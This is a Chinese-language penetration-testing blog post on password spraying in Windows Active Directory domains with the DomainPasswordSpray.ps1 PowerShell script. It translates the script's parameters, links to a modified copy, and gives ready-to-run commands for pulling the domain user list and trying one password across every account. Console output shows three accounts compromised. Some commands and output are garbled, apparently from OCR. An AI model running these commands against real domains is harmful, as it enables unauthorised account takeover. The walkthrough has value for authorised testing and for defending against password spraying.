### 倾旋的博客

# Windows域渗透-用户密码枚举

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推荐一个Powershell脚本

# 0x00 前言

在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?

### 0x01 Powershell

目前已经有很多Powershell集合脚本,用于域渗透简直舒爽

今天推荐一款名字叫 DomainPasswordSpray.ps1 的脚本,主要原理是先来抓取域用户账号,然后指定密码字典进行域认证。认证通过的就是密码正确的了。

```
PS C:\Users\Ujyingzhe.PMIOMS> Invoke-DesainPasswordSpray
(**) Current domain is compatible with Fine-Grained Password Policy.
(**) Current domain is compatible with Fine-Grained Password Policy.
(**) Fine-Grained Password Policy (**) Fine-Gra
```

### GitHub项目地址: https://github.com/dafthack/DomainPasswordSpray

由于作者的脚本有一个小瑕疵、故此我改了一下、避免抛出了一些错误。

优化后的地址: http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

# 0x02 参数说明

在代码的开头就已经有介绍了, 我简单汉化一下。

描述:该模块主要用于从域中收集用户列表。

• 参数: Domain 指定要测试的域名

• 参数: RemoveDisabled 尝试从用户列表删除禁用的账户

• 参数: RemovePotentialLockouts 删除锁定账户

• 参数: UserList 自定义用户列表(字典)。 如果未指定,这将自动从域中获取

• 参数: Password 指定单个密码进行口令测试

• 参数: PasswordList 指定一个密码字典

• 参数: OutFile 将结果保存到某个文件

• 参数: Force 当枚举出第一个后继续枚举,不询问

# 0x03 使用说明

使用例子:

C:\PS> Get-DomainUserList

该命令将从域中收集用户列表。

C:\PS> Get-DomainUserList -Domain 域名 -RemoveDisabled RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

该命令将收集域"域名"中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入"userlist.txt"文件中

C:\PS> Invoke-DomainPasswordSpray -Password Winter2016

该命令将会从域环境中获取用户名,然后逐个以密码Winter2016进行认证枚举

C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 - PasswordList passlist.txt -OutFile sprayed-creds.txt

该命令将会从 users.txt 中提取用户名,与 passlist.txt 中的密码对照成一对口令,进行域认证枚举,登录成功的结果将会输出到 sprayed-creds.txt

### 0x04 实战

# 获取域环境中的用户列表

命令: C:\PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt

输出:

- [\*] Current domain is compatible with Fine-Grained Password Policy.
- [\*] Now creating a list of users to spray...
- [\*] There appears to be no lockout policy.
- [\*] There are 8 total users found.
- [\*] Created a userlist containing 8 users gathered from the current user's domain

#### 获取的用户名:

```
C:\PS> type .\userlist.txt
Administrator
Guest
liyingzhe
krbtgt
Hack
testPass
webManager
dba
```

### 密码枚举

```
PS C:\Users\liyingzhe.PAYLOADS> Invoke-DomainPasswordSpray -Domain payloads.online -Password w!23456 -OutFile sprayed-creds.txt

[*] Current domain is compatible with Fine-Grained Password Policy.

[*] Now creating a list of users to spray...

[*] There appears to be no lockout policy.

[*] Removing disabled users from list.

[*] There are 6 total users found.

[*] Removing users within 1 attempt of locking out from list.

[*] Created a userlist containing 6 users gathered from the current user's domain

[*] Password spraying has begun. Current time is 18:45

[*] This might take a while depending on the total number of users

1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456

4 of 6 users tested4 SUCCESS! User:ebblanager Password:w!23456

5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456

6 of 6 users tested[*] Password spraying is complete

[*] Any passwords that were successfully sprayed have been output to sprayed creds.txt

PS C:\Users\liyingzhe.PAYLOADS> type .\sprayed-creds.txt
```

命令: C:\PS> Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 - OutFile sprayed-creds.txt

#### 输出:

- [\*] Current domain is compatible with Fine-Grained Password Policy.
- [\*] Now creating a list of users to spray...
- [\*] There appears to be no lockout policy.
- [\*] Removing disabled users from list.
- [\*] There are 6 total users found.
- [\*] Removing users within 1 attempt of locking out from list.
- [\*] Created a userlist containing 6 users gathered from the current user's domain
- [\*] Password spraying has begun. Current time is 18:45
- [\*] This might take a while depending on the total number of users
- 1 of 6 users tested2 of 6 users tested3 of 6 users tested[\*] SUCCESS! User:t estPass Password:w!23456
- 4 of 6 users tested[\*] SUCCESS! User:webManager Password:w!23456
- 5 of 6 users tested[\*] SUCCESS! User:dba Password:w!23456
- 6 of 6 users tested[\*] Password spraying is complete
- [\*] Any passwords that were successfully sprayed have been output to sprayed -creds.txt

#### 枚举的结果:

C:\PS > type .\sprayed-creds.txt

testPass:w!23456 webManager:w!23456

dba:w!23456

<pre></pre>	QR code
https://payloads.online/archivers/2018-	https://payloads.online/archivers/2018-
05-02/1   02-May-18   BY-NC-SA 4.0   https://payloads.online/disclosure	05-02/1